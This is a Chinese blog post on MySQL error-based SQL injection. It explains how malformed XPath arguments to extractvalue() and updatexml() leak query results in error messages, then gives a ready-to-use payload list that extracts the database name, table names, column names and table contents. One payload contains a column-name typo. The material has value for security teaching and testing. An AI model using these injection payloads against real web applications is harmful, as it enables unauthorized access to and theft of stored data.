sql报错注入

1.extractvalue()

2.updatexml()

解释

从 mysql5.1.5 开始提供两个 XML 查询和修改的函数,extractvalue 和 updatexml。extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容:

extractvalue (XML_document, XPath_string):从目标 XML中 返回包含所查询值的字符串

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。

updatexml (XML_document, XPath_string, new_value):改变文档中符合条件的节点的值

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。

第三个参数:new_value,String 格式,替换查找到的符合条件的数据

mysql> select extractvalue(1,'/a/b');
+------------------------+
| extractvalue(1,'/a/b') |
+------------------------+
|                        |
+------------------------+
1 row in set (0.01 sec)

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

payload

1.extractvalue()
#爆库名:
' and(select extractvalue(1,concat(0x7e,(select database()))))

#爆表名:
' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

#爆列名:
' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

#爆数据:
' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))


2.updatexml()
#爆库名:
' and(select updatexml(1,concat(0x7e,(select database())),0x7e))

#爆表名:
' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

#爆列名:
' and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

#爆数据:
' and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值